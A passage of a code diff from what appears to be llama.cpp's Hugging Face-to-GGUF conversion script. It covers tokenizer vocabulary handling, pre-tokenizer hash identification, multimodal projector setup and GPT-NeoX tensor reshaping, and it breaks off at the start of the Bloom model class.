tokenizer.get_added_vocab() + + added_tokens_decoder = tokenizer.added_tokens_decoder + + for i in range(vocab_size): + if i not in reverse_vocab: + tokens.append(f"[PAD{i}]") + toktypes.append(gguf.TokenType.UNUSED) + else: + token: str = reverse_vocab[i] + if token in added_vocab: + # The tokenizer in llama.cpp assumes the CONTROL and USER_DEFINED tokens are pre-normalized. + # To avoid unexpected issues - we make sure to normalize non-normalized tokens + if not added_tokens_decoder[i].normalized: + previous_token = token + token = tokenizer.decode(tokenizer.encode(token, add_special_tokens=False)) + if previous_token != token: + logger.info(f"{repr(previous_token)} is encoded and decoded back to {repr(token)} using AutoTokenizer") + + if added_tokens_decoder[i].special or self.does_token_look_special(token): + toktypes.append(gguf.TokenType.CONTROL) + else: + # NOTE: this was added for Gemma. + # Encoding and decoding the tokens above isn't sufficient for this case. + token = token.replace(b"\xe2\x96\x81".decode("utf-8"), " ") # pre-normalize user-defined spaces + toktypes.append(gguf.TokenType.USER_DEFINED) + else: + toktypes.append(gguf.TokenType.NORMAL) + tokens.append(token) + + return tokens, toktypes, tokpre + + # NOTE: this function is generated by convert_hf_to_gguf_update.py + # do not modify it manually! + # ref: https://github.com/ggml-org/llama.cpp/pull/6920 + # Marker: Start get_vocab_base_pre + def get_vocab_base_pre(self, tokenizer) -> str: + # encoding this string and hashing the resulting tokens would (hopefully) give us a unique identifier that + # is specific for the BPE pre-tokenizer used by the model + # we will use this unique identifier to write a "tokenizer.ggml.pre" entry in the GGUF file which we can + # use in llama.cpp to implement the same pre-tokenizer + + chktxt = '\n \n\n \n\n\n \t \t\t \t\n \n \n \n \n🚀 (normal) 😶\u200d🌫️ (multiple emojis concatenated) ✅ 🦙🦙 3 33 333 3333 33333 333333 3333333 33333333 3.3 3..3 3...3 កាន់តែពិសេសអាច😁 ?我想在apple工作1314151天~ ------======= нещо на Български \'\'\'\'\'\'```````""""......!!!!!!?????? I\'ve been \'told he\'s there, \'RE you sure? \'M not sure I\'ll make it, \'D you like some tea? We\'Ve a\'lL' + + chktok = tokenizer.encode(chktxt) + chkhsh = sha256(str(chktok).encode()).hexdigest() + + logger.debug(f"chktok: {chktok}") + logger.debug(f"chkhsh: {chkhsh}") + + res = None + + # NOTE: if you get an error here, you need to update the convert_hf_to_gguf_update.py script + # or pull the latest version of the model from Huggingface + # don't edit the hashes manually! + if chkhsh == "0ef9807a4087ebef797fc749390439009c3b9eda9ad1a097abbe738f486c01e5": + # ref: https://huggingface.co/meta-llama/Meta-Llama-3-8B + res = "llama-bpe" + if chkhsh == "049ecf7629871e3041641907f3de7c733e4dbfdc736f57d882ba0b0845599754": + # ref: https://huggingface.co/deepseek-ai/deepseek-llm-7b-base + res = "deepseek-llm" + if chkhsh == "347715f544604f9118bb75ed199f68779f423cabb20db6de6f31b908d04d7821": + # ref: https://huggingface.co/deepseek-ai/deepseek-coder-6.7b-base + res = "deepseek-coder" + if chkhsh == "8aeee3860c56296a157a1fe2fad249ec40aa59b1bb5709f4ade11c4e6fe652ed": + # ref: https://huggingface.co/tiiuae/falcon-7b + res = "falcon" + if chkhsh == "0876d13b50744004aa9aeae05e7b0647eac9d801b5ba4668afc01e709c15e19f": + # ref: https://huggingface.co/BAAI/bge-small-en-v1.5 + res = "bert-bge" + if chkhsh == "9d032fcbd5501f4a38150912590928bfb36091efb5df11b8e2124b0390e3fb1e": + # ref: https://huggingface.co/tiiuae/Falcon3-7B-Base + res = "falcon3" + if chkhsh == "8e62295832751ca1e8f92f2226f403dea30dc5165e448b5bfa05af5340c64ec7": + # ref: https://huggingface.co/BAAI/bge-large-zh-v1.5 + res = "bert-bge-large" + if chkhsh == "b6dc8df998e1cfbdc4eac8243701a65afe638679230920b50d6f17d81c098166": + # ref: https://huggingface.co/mosaicml/mpt-7b + res = "mpt" + if chkhsh == "35d91631860c815f952d711435f48d356ebac988362536bed955d43bfa436e34": + # ref: https://huggingface.co/bigcode/starcoder2-3b + res = "starcoder" + if chkhsh == "3ce83efda5659b07b1ad37ca97ca5797ea4285d9b9ab0dc679e4a720c9da7454": + # ref: https://huggingface.co/openai-community/gpt2 + res = "gpt-2" + if chkhsh == "32d85c31273f8019248f2559fed492d929ea28b17e51d81d3bb36fff23ca72b3": + # ref: https://huggingface.co/stabilityai/stablelm-2-zephyr-1_6b + res = "stablelm2" + if chkhsh == "6221ad2852e85ce96f791f476e0b390cf9b474c9e3d1362f53a24a06dc8220ff": + # ref: https://huggingface.co/smallcloudai/Refact-1_6-base + res = "refact" + if chkhsh == "9c2227e4dd922002fb81bde4fc02b0483ca4f12911410dee2255e4987644e3f8": + # ref: https://huggingface.co/CohereForAI/c4ai-command-r-v01 + res = "command-r" + if chkhsh == "e636dc30a262dcc0d8c323492e32ae2b70728f4df7dfe9737d9f920a282b8aea": + # ref: https://huggingface.co/Qwen/Qwen1.5-7B + res = "qwen2" + if chkhsh == "b6dc8df998e1cfbdc4eac8243701a65afe638679230920b50d6f17d81c098166": + # ref: https://huggingface.co/allenai/OLMo-1.7-7B-hf + res = "olmo" + if chkhsh == "a8594e3edff7c29c003940395316294b2c623e09894deebbc65f33f1515df79e": + # ref: https://huggingface.co/databricks/dbrx-base + res = "dbrx" + if chkhsh == "c7699093ba4255a91e702aa38a596aa81669f3525dae06c2953267dde580f448": + # ref: https://huggingface.co/jinaai/jina-reranker-v1-tiny-en + res = "jina-v1-en" + if chkhsh == "0876d13b50744004aa9aeae05e7b0647eac9d801b5ba4668afc01e709c15e19f": + # ref: https://huggingface.co/jinaai/jina-embeddings-v2-base-en + res = "jina-v2-en" + if chkhsh == "171aeeedd6fb548d418a7461d053f11b6f1f1fc9b387bd66640d28a4b9f5c643": + # ref: https://huggingface.co/jinaai/jina-embeddings-v2-base-es + res = "jina-v2-es" + if chkhsh == "27949a2493fc4a9f53f5b9b029c82689cfbe5d3a1929bb25e043089e28466de6": + # ref: https://huggingface.co/jinaai/jina-embeddings-v2-base-de + res = "jina-v2-de" + if chkhsh == "c136ed14d01c2745d4f60a9596ae66800e2b61fa45643e72436041855ad4089d": + # ref: https://huggingface.co/abacusai/Smaug-Llama-3-70B-Instruct + res = "smaug-bpe" + if chkhsh == "c7ea5862a53e4272c035c8238367063e2b270d51faa48c0f09e9d5b54746c360": + # ref: https://huggingface.co/LumiOpen/Poro-34B-chat + res = "poro-chat" + if chkhsh == "7967bfa498ade6b757b064f31e964dddbb80f8f9a4d68d4ba7998fcf281c531a": + # ref: https://huggingface.co/jinaai/jina-embeddings-v2-base-code + res = "jina-v2-code" + if chkhsh == "7fc505bd3104ca1083b150b17d088b59534ede9bde81f0dd2090967d7fe52cee": + # ref: https://huggingface.co/LumiOpen/Viking-7B + res = "viking" + if chkhsh == "b53802fb28e26d645c3a310b34bfe07da813026ec7c7716883404d5e0f8b1901": + # ref: https://huggingface.co/core42/jais-13b + res = "jais" + if chkhsh == "7b3e7548e4308f52a76e8229e4e6cc831195d0d1df43aed21ac6c93da05fec5f": + # ref: https://huggingface.co/WisdomShell/CodeShell-7B + res = "codeshell" + if chkhsh == "63b97e4253352e6f357cc59ea5b583e3a680eaeaf2632188c2b952de2588485e": + # ref: https://huggingface.co/mistralai/Mistral-Nemo-Base-2407 + res = "tekken" + if chkhsh == "855059429035d75a914d1eda9f10a876752e281a054a7a3d421ef0533e5b6249": + # ref: https://huggingface.co/HuggingFaceTB/SmolLM-135M + res = "smollm" + if chkhsh == "3c30d3ad1d6b64202cd222813e7736c2db6e1bd6d67197090fc1211fbc612ae7": + # ref: https://huggingface.co/bigscience/bloom + res = "bloom" + if chkhsh == "bc01ce58980e1db43859146dc51b1758b3b88729b217a74792e9f8d43e479d21": + # ref: https://huggingface.co/TurkuNLP/gpt3-finnish-small + res = "gpt3-finnish" + if chkhsh == "4e2b24cc4770243d65a2c9ec19770a72f08cffc161adbb73fcbb6b7dd45a0aae": + # ref: https://huggingface.co/LGAI-EXAONE/EXAONE-3.0-7.8B-Instruct + res = "exaone" + if chkhsh == "fcace8b9cac38ce847670c970cd5892031a753a1ef381abd1d9af00f713da085": + # ref: https://huggingface.co/microsoft/phi-2 + res = "phi-2" + if chkhsh == "60824e3c0d9401f89943cbb2fff727f0e2d4c545ba4df2d6e4f09a6db0f5b450": + # ref: https://huggingface.co/facebook/chameleon-7b + res = "chameleon" + if chkhsh == "8b5a93ed704057481f240da0be7e7dca721d7f8f4755263b6807227a2cbeae65": + # ref: https://huggingface.co/sentence-transformers/stsb-roberta-base + res = "roberta-bpe" + if chkhsh == "ad851be1dba641f2e3711822f816db2c265f788b37c63b4e1aeacb9ee92de8eb": + # ref: https://huggingface.co/ai-sage/GigaChat-20B-A3B-instruct + res = "gigachat" + if chkhsh == "d4c8f286ea6b520b3d495c4455483cfa2302c0cfcd4be05d781b6a8a0a7cdaf1": + # ref: https://huggingface.co/Infinigence/Megrez-3B-Instruct + res = "megrez" + if chkhsh == "877081d19cf6996e2c4ff0e1236341e9b7bde288f5311a56a937f0afbbb3aeb5": + # ref: https://huggingface.co/deepseek-ai/DeepSeek-V3 + res = "deepseek-v3" + if chkhsh == "b3f499bb4255f8ca19fccd664443283318f2fd2414d5e0b040fbdd0cc195d6c5": + # ref: https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B + res = "deepseek-r1-qwen" + if chkhsh == "ccc2ef013c104be7bae2965776d611e1d7a8a2a9c547dd93a682c9a9fc80352e": + # ref: https://huggingface.co/Xenova/gpt-4o + res = "gpt-4o" + if chkhsh == "7dec86086fcc38b66b7bc1575a160ae21cf705be7718b9d5598190d7c12db76f": + # ref: https://huggingface.co/UW/OLMo2-8B-SuperBPE-t180k + res = "superbpe" + if chkhsh == "1994ffd01900cfb37395608534236ecd63f2bd5995d6cb1004dda1af50240f15": + # ref: https://huggingface.co/trillionlabs/Trillion-7B-preview + res = "trillion" + if chkhsh == "96a5f08be6259352137b512d4157e333e21df7edd3fcd152990608735a65b224": + # ref: https://huggingface.co/inclusionAI/Ling-lite + res = "bailingmoe" + if chkhsh == "d353350c764d8c3b39c763113960e4fb4919bea5fbf208a0e3b22e8469dc7406": + # ref: https://huggingface.co/meta-llama/Llama-4-Scout-17B-16E-Instruct + res = "llama4" + if chkhsh == "0e9433cbbb161f89e264eb32e8e64bfe69e834973ffca5d41d3948a604a3e2a3": + # ref: https://huggingface.co/mistral-community/pixtral-12b + res = "pixtral" + if chkhsh == "d5f1dd6f980fec569fb218a81a7658ac45fc56b38c5a0adeb1c232fbe04ef5ec": + # ref: https://huggingface.co/ByteDance-Seed/Seed-Coder-8B-Base + res = "seed-coder" + if chkhsh == "b6e8e1518dc4305be2fe39c313ed643381c4da5db34a98f6a04c093f8afbe99b": + # ref: https://huggingface.co/THUDM/glm-4-9b-chat + res = "chatglm-bpe" + if chkhsh == "81d72c7348a9f0ebe86f23298d37debe0a5e71149e29bd283904c02262b27516": + # ref: https://huggingface.co/THUDM/glm-4-9b-chat + res = "chatglm-bpe" + if chkhsh == "a1336059768a55c99a734006ffb02203cd450fed003e9a71886c88acf24fdbc2": + # ref: https://huggingface.co/THUDM/glm-4-9b-hf + res = "glm4" + if chkhsh == "1431a23e583c97432bc230bff598d103ddb5a1f89960c8f1d1051aaa944d0b35": + # ref: https://huggingface.co/sapienzanlp/Minerva-7B-base-v1.0 + res = "minerva-7b" + + if res is None: + logger.warning("\n") + logger.warning("**************************************************************************************") + logger.warning("** WARNING: The BPE pre-tokenizer was not recognized!") + logger.warning("** There are 2 possible reasons for this:") + logger.warning("** - the model has not been added to convert_hf_to_gguf_update.py yet") + logger.warning("** - the pre-tokenization config has changed upstream") + logger.warning("** Check your model files and convert_hf_to_gguf_update.py and update them accordingly.") + logger.warning("** ref: https://github.com/ggml-org/llama.cpp/pull/6920") + logger.warning("**") + logger.warning(f"** chkhsh: {chkhsh}") + logger.warning("**************************************************************************************") + logger.warning("\n") + raise NotImplementedError("BPE pre-tokenizer was not recognized - update get_vocab_base_pre()") + + logger.debug(f"tokenizer.ggml.pre: {repr(res)}") + logger.debug(f"chkhsh: {chkhsh}") + + return res + # Marker: End get_vocab_base_pre + + def _set_vocab_none(self) -> None: + self.gguf_writer.add_tokenizer_model("none") + + def _set_vocab_gpt2(self) -> None: + tokens, toktypes, tokpre = self.get_vocab_base() + self.gguf_writer.add_tokenizer_model("gpt2") + self.gguf_writer.add_tokenizer_pre(tokpre) + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=True) + special_vocab.add_to_gguf(self.gguf_writer) + + def _set_vocab_qwen(self): + dir_model = self.dir_model + hparams = self.hparams + tokens: list[str] = [] + toktypes: list[int] = [] + + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(dir_model, trust_remote_code=True) + vocab_size = hparams["vocab_size"] + assert max(tokenizer.get_vocab().values()) < vocab_size + + tokpre = self.get_vocab_base_pre(tokenizer) + + merges = [] + vocab = {} + mergeable_ranks = tokenizer.mergeable_ranks + for token, rank in mergeable_ranks.items(): + vocab[QwenModel.token_bytes_to_string(token)] = rank + if len(token) == 1: + continue + merged = QwenModel.bpe(mergeable_ranks, token, max_rank=rank) + assert len(merged) == 2 + merges.append(' '.join(map(QwenModel.token_bytes_to_string, merged))) + + # for this kind of tokenizer, added_vocab is not a subset of vocab, so they need to be combined + added_vocab = tokenizer.special_tokens + reverse_vocab = {id_ : encoded_tok for encoded_tok, id_ in {**vocab, **added_vocab}.items()} + + for i in range(vocab_size): + if i not in reverse_vocab: + tokens.append(f"[PAD{i}]") + toktypes.append(gguf.TokenType.UNUSED) + elif reverse_vocab[i] in added_vocab: + tokens.append(reverse_vocab[i]) + toktypes.append(gguf.TokenType.CONTROL) + else: + tokens.append(reverse_vocab[i]) + toktypes.append(gguf.TokenType.NORMAL) + + self.gguf_writer.add_tokenizer_model("gpt2") + self.gguf_writer.add_tokenizer_pre(tokpre) + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(dir_model, load_merges=False) + special_vocab.merges = merges + # only add special tokens when they were not already loaded from config.json + if len(special_vocab.special_token_ids) == 0: + special_vocab._set_special_token("bos", tokenizer.special_tokens["<|endoftext|>"]) + special_vocab._set_special_token("eos", tokenizer.special_tokens["<|endoftext|>"]) + # this one is usually not in config.json anyway + special_vocab._set_special_token("unk", tokenizer.special_tokens["<|endoftext|>"]) + special_vocab.add_to_gguf(self.gguf_writer) + + def _set_vocab_sentencepiece(self, add_to_gguf=True): + tokens, scores, toktypes = self._create_vocab_sentencepiece() + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def _create_vocab_sentencepiece(self): + from sentencepiece import SentencePieceProcessor + + tokenizer_path = self.dir_model / 'tokenizer.model' + + if not tokenizer_path.is_file(): + raise FileNotFoundError(f"File not found: {tokenizer_path}") + + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = self.find_hparam([ + "vocab_size_per_layer_input", # gemma3n + "vocab_size", + ], optional=True) or tokenizer.vocab_size() + + tokens: list[bytes] = [f"[PAD{i}]".encode("utf-8") for i in range(vocab_size)] + scores: list[float] = [-10000.0] * vocab_size + toktypes: list[int] = [SentencePieceTokenTypes.UNUSED] * vocab_size + + for token_id in range(tokenizer.vocab_size()): + if token_id >= vocab_size: + logger.warning(f'ignore tokens from {token_id}: id is out of range, max={vocab_size - 1}') + break + + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + + added_tokens_file = self.dir_model / 'added_tokens.json' + if added_tokens_file.is_file(): + with open(added_tokens_file, "r", encoding="utf-8") as f: + added_tokens_json = json.load(f) + for key in added_tokens_json: + token_id = added_tokens_json[key] + if token_id >= vocab_size: + logger.warning(f'ignore token {token_id}: id is out of range, max={vocab_size - 1}') + continue + + tokens[token_id] = key.encode("utf-8") + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + added_tokens_decoder = tokenizer_config_json.get("added_tokens_decoder", {}) + for token_id, token_data in added_tokens_decoder.items(): + token_id = int(token_id) + token: str = token_data["content"] + if token_id >= vocab_size: + logger.warning(f'ignore token {token_id}: id is out of range, max={vocab_size - 1}') + continue + if toktypes[token_id] != SentencePieceTokenTypes.UNUSED: + if tokens[token_id] != token.encode("utf-8"): + logger.warning(f'replacing token {token_id}: {tokens[token_id].decode("utf-8")!r} -> {token!r}') + if token_data.get("special") or self.does_token_look_special(token): + toktypes[token_id] = SentencePieceTokenTypes.CONTROL + else: + token = token.replace(b"\xe2\x96\x81".decode("utf-8"), " ") # pre-normalize user-defined spaces + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + + scores[token_id] = -1000.0 + tokens[token_id] = token.encode("utf-8") + + if vocab_size > len(tokens): + pad_count = vocab_size - len(tokens) + logger.debug(f"Padding vocab with {pad_count} token(s) - [PAD1] through [PAD{pad_count}]") + for i in range(1, pad_count + 1): + tokens.append(bytes(f"[PAD{i}]", encoding="utf-8")) + scores.append(-1000.0) + toktypes.append(SentencePieceTokenTypes.UNUSED) + + return tokens, scores, toktypes + + def _set_vocab_llama_hf(self): + vocab = gguf.LlamaHfVocab(self.dir_model) + tokens = [] + scores = [] + toktypes = [] + + for text, score, toktype in vocab.all_tokens(): + tokens.append(text) + scores.append(score) + toktypes.append(toktype) + + assert len(tokens) == vocab.vocab_size + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def _set_vocab_rwkv_world(self): + assert (self.dir_model / "rwkv_vocab_v20230424.txt").is_file() + vocab_size = self.hparams.get("vocab_size", 65536) + + tokens: list[bytes] = [''.encode("utf-8")] + toktypes: list[int] = [gguf.TokenType.CONTROL] + + with open(self.dir_model / "rwkv_vocab_v20230424.txt", "r", encoding="utf-8") as f: + lines = f.readlines() + for line in lines: + parts = line.split(' ') + assert len(parts) >= 3 + token, token_len = ast.literal_eval(' '.join(parts[1:-1])), int(parts[-1]) + token = token.encode("utf-8") if isinstance(token, str) else token + assert isinstance(token, bytes) + assert len(token) == token_len + token_text: str = repr(token)[2:-1] # "b'\xff'" -> "\xff" + tokens.append(token_text.encode("utf-8")) + toktypes.append(gguf.TokenType.NORMAL) + remainder = vocab_size - len(tokens) + assert remainder >= 0 + for i in range(len(tokens), vocab_size): + tokens.append(f"[PAD{i}]".encode("utf-8")) + toktypes.append(gguf.TokenType.UNUSED) + + self.gguf_writer.add_tokenizer_model("rwkv") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=False) + special_vocab.chat_template = "rwkv-world" + # hack: Add '\n\n' as the EOT token to make it chat normally + special_vocab._set_special_token("eot", 261) + # hack: Override these as they have already been set (incorrectly) + special_vocab.special_token_ids["bos"] = 0 + special_vocab.special_token_ids["eos"] = 0 + + special_vocab.add_to_gguf(self.gguf_writer) + + def _set_vocab_builtin(self, model_name: Literal["gpt-neox", "llama-spm"], vocab_size: int): + tokenizer_path = Path(sys.path[0]) / "models" / f"ggml-vocab-{model_name}.gguf" + logger.warning(f"Using tokenizer from '{os.path.relpath(tokenizer_path, os.getcwd())}'") + vocab_reader = gguf.GGUFReader(tokenizer_path, "r") + + default_pre = "mpt" if model_name == "gpt-neox" else "default" + + field = vocab_reader.get_field(gguf.Keys.Tokenizer.MODEL) + assert field # tokenizer model + self.gguf_writer.add_tokenizer_model(bytes(field.parts[-1]).decode("utf-8")) + + field = vocab_reader.get_field(gguf.Keys.Tokenizer.PRE) + self.gguf_writer.add_tokenizer_pre(bytes(field.parts[-1]).decode("utf-8") if field else default_pre) + + field = vocab_reader.get_field(gguf.Keys.Tokenizer.LIST) + assert field # token list + self.gguf_writer.add_token_list([bytes(field.parts[i]) for i in field.data][:vocab_size]) + + if model_name == "llama-spm": + field = vocab_reader.get_field(gguf.Keys.Tokenizer.SCORES) + assert field # token scores + self.gguf_writer.add_token_scores([field.parts[i].tolist()[0] for i in field.data][:vocab_size]) + + field = vocab_reader.get_field(gguf.Keys.Tokenizer.TOKEN_TYPE) + assert field # token types + self.gguf_writer.add_token_types([field.parts[i].tolist()[0] for i in field.data][:vocab_size]) + + if model_name != "llama-spm": + field = vocab_reader.get_field(gguf.Keys.Tokenizer.MERGES) + assert field # token merges + self.gguf_writer.add_token_merges([bytes(field.parts[i]) for i in field.data]) + + if (field := vocab_reader.get_field(gguf.Keys.Tokenizer.BOS_ID)) is not None: + self.gguf_writer.add_bos_token_id(field.parts[-1].tolist()[0]) + if (field := vocab_reader.get_field(gguf.Keys.Tokenizer.EOS_ID)) is not None: + self.gguf_writer.add_eos_token_id(field.parts[-1].tolist()[0]) + if (field := vocab_reader.get_field(gguf.Keys.Tokenizer.UNK_ID)) is not None: + self.gguf_writer.add_unk_token_id(field.parts[-1].tolist()[0]) + if (field := vocab_reader.get_field(gguf.Keys.Tokenizer.PAD_ID)) is not None: + self.gguf_writer.add_pad_token_id(field.parts[-1].tolist()[0]) + if (field := vocab_reader.get_field(gguf.Keys.Tokenizer.ADD_BOS)) is not None: + self.gguf_writer.add_add_bos_token(field.parts[-1].tolist()[0]) + if (field := vocab_reader.get_field(gguf.Keys.Tokenizer.ADD_EOS)) is not None: + self.gguf_writer.add_add_eos_token(field.parts[-1].tolist()[0]) + + def _try_set_pooling_type(self) -> None: + # get pooling path + pooling_path = None + module_path = self.dir_model / "modules.json" + if module_path.is_file(): + with open(module_path, encoding="utf-8") as f: + modules = json.load(f) + for mod in modules: + if mod["type"] == "sentence_transformers.models.Pooling": + pooling_path = mod["path"] + break + + # get pooling type + if pooling_path is not None: + with open(self.dir_model / pooling_path / "config.json", encoding="utf-8") as f: + pooling = json.load(f) + if pooling["pooling_mode_mean_tokens"]: + pooling_type = gguf.PoolingType.MEAN + elif pooling["pooling_mode_cls_token"]: + pooling_type = gguf.PoolingType.CLS + elif pooling["pooling_mode_lasttoken"]: + pooling_type = gguf.PoolingType.LAST + else: + raise NotImplementedError("Only MEAN, CLS, and LAST pooling types supported") + self.gguf_writer.add_pooling_type(pooling_type) + + +class MmprojModel(ModelBase): + model_type = ModelType.MMPROJ + model_arch = gguf.MODEL_ARCH.MMPROJ + preprocessor_config: dict[str, Any] + global_config: dict[str, Any] + + n_block_keys = ["n_layers", "num_hidden_layers", "n_layer", "num_layers", "depth"] + + has_vision_encoder: bool = True # by default + has_audio_encoder: bool = False + + # for models having multiple encoders, we need to separate their hparams + hparams_vision: dict[str, Any] | None = None + hparams_audio: dict[str, Any] | None = None + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + if self.model_arch != gguf.MODEL_ARCH.MMPROJ: + raise TypeError("MmprojModel must be subclassed with model_arch = gguf.MODEL_ARCH.MMPROJ") + + # get n_embd of the text model + if "text_config" not in self.hparams: + self.hparams["text_config"] = {} + if "audio_config" not in self.hparams: + self.hparams["audio_config"] = {} + text_config = {**self.hparams, **self.hparams["text_config"]} + self.n_embd_text = text_config.get("hidden_size", text_config.get("n_embd", 0)) + assert self.n_embd_text > 0, "n_embd not found in hparams" + + # move vision config to the top level, while preserving the original hparams in global_config + import copy + self.global_config = copy.deepcopy(self.hparams) + self.hparams_vision = self.get_vision_config() + self.hparams_audio = self.get_audio_config() + + if self.hparams_vision is None and self.hparams_audio is None: + raise ValueError("vision_config / audio_config not found in hparams") + + # for compat with vision-only models + self.hparams = self.hparams_vision or self.hparams_audio or self.hparams + + # TODO @ngxson : this is a hack to support both vision and audio encoders + have_multiple_encoders = self.has_audio_encoder and self.has_vision_encoder + self.block_count = 128 if have_multiple_encoders else self.find_hparam(self.n_block_keys, True) + self.tensor_map = gguf.get_tensor_name_map(gguf.MODEL_ARCH.MMPROJ, self.block_count) + + # load preprocessor config + with open(self.dir_model / "preprocessor_config.json", "r", encoding="utf-8") as f: + self.preprocessor_config = json.load(f) + + def get_vision_config(self) -> dict[str, Any] | None: + return self.global_config.get("vision_config") + + def get_audio_config(self) -> dict[str, Any] | None: + return self.global_config.get("audio_config") + + def set_type(self): + self.gguf_writer.add_type(gguf.GGUFType.MMPROJ) + + def set_gguf_parameters(self): + self.gguf_writer.add_file_type(self.ftype) + + if self.has_vision_encoder: + self.gguf_writer.add_clip_has_vision_encoder(True) + self.gguf_writer.add_vision_projection_dim(self.n_embd_text) + + # vision config + self.gguf_writer.add_vision_image_size(self.find_vparam(["image_size"])) + self.gguf_writer.add_vision_patch_size(self.find_vparam(["patch_size"])) + self.gguf_writer.add_vision_embedding_length(self.find_vparam(["hidden_size"])) + self.gguf_writer.add_vision_feed_forward_length(self.find_vparam(["intermediate_size"])) + self.gguf_writer.add_vision_block_count(self.find_vparam(self.n_block_keys)) + self.gguf_writer.add_vision_head_count(self.find_vparam(["num_attention_heads"])) + + # preprocessor config + self.gguf_writer.add_vision_image_mean(self.preprocessor_config["image_mean"]) + self.gguf_writer.add_vision_image_std(self.preprocessor_config["image_std"]) + + if self.has_audio_encoder: + self.gguf_writer.add_clip_has_audio_encoder(True) + self.gguf_writer.add_audio_projection_dim(self.n_embd_text) + + # audio config + self.gguf_writer.add_audio_embedding_length(self.find_aparam(["hidden_size"])) + self.gguf_writer.add_audio_feed_forward_length(self.find_aparam(["intermediate_size"])) + self.gguf_writer.add_audio_block_count(self.find_aparam(self.n_block_keys)) + self.gguf_writer.add_audio_head_count(self.find_aparam(["num_attention_heads"])) + + if not self.has_vision_encoder and not self.has_audio_encoder: + raise ValueError("MmprojModel must have either vision or audio encoder") + + def write_vocab(self): + raise ValueError("MmprojModel does not support vocab writing") + + def find_vparam(self, keys: Iterable[str], optional: bool = False) -> Any: + assert self.hparams_vision is not None + return self._find_param(self.hparams_vision, keys, optional) + + def find_aparam(self, keys: Iterable[str], optional: bool = False) -> Any: + assert self.hparams_audio is not None + return self._find_param(self.hparams_audio, keys, optional) + + def _find_param(self, obj: dict[str, Any], keys: Iterable[str], optional: bool = False) -> Any: + key = next((k for k in keys if k in obj), None) + if key is not None: + return obj[key] + if optional: + return None + raise KeyError(f"could not find any of: {keys}") + + +@ModelBase.register("GPTNeoXForCausalLM") +class GPTNeoXModel(TextModel): + model_arch = gguf.MODEL_ARCH.GPTNEOX + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + + self.gguf_writer.add_context_length(self.hparams["max_position_embeddings"]) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(self.hparams["intermediate_size"]) + self.gguf_writer.add_rope_dimension_count( + int(self.hparams["rotary_pct"] * (self.hparams["hidden_size"] // self.hparams["num_attention_heads"])), + ) + self.gguf_writer.add_head_count(self.hparams["num_attention_heads"]) + self.gguf_writer.add_parallel_residual(self.hparams.get("use_parallel_residual", True)) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_eps"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + n_head = self.hparams.get("n_head", self.hparams.get("num_attention_heads")) + n_embed = self.hparams.get("hidden_size", self.hparams.get("n_embed")) + + tensors: list[tuple[str, Tensor]] = [] + + if re.match(r"gpt_neox\.layers\.\d+\.attention\.query_key_value\.weight", name): + # Map bloom-style qkv_linear to gpt-style qkv_linear + # bloom: https://github.com/huggingface/transformers/blob/main/src/transformers/models/bloom/modeling_bloom.py#L238-L252 # noqa + # gpt-2: https://github.com/huggingface/transformers/blob/main/src/transformers/models/gpt2/modeling_gpt2.py#L312 # noqa + qkv_weights = data_torch.reshape((n_head, 3, n_embed // n_head, n_embed)) + data_torch = torch.cat( + ( + qkv_weights[:, 0, :, :].reshape((-1, n_embed)), + qkv_weights[:, 1, :, :].reshape((-1, n_embed)), + qkv_weights[:, 2, :, :].reshape((-1, n_embed)), + ), + dim=0, + ) + logger.info("re-format attention.linear_qkv.weight") + elif re.match(r"gpt_neox\.layers\.\d+\.attention\.query_key_value\.bias", name): + qkv_bias = data_torch.reshape((n_head, 3, n_embed // n_head)) + data_torch = torch.cat( + ( + qkv_bias[:, 0, :].reshape((n_embed,)), + qkv_bias[:, 1, :].reshape((n_embed,)), + qkv_bias[:, 2, :].reshape((n_embed,)), + ), + dim=0, + ) + logger.info("re-format attention.linear_qkv.bias") + + tensors.append((self.map_tensor_name(name), data_torch)) + + return tensors + + +@ModelBase.register("BloomForCausalLM", "BloomModel") +class BloomModel(TextModel): + model_arch = gguf.MODEL_ARCH.BLOOM + + def 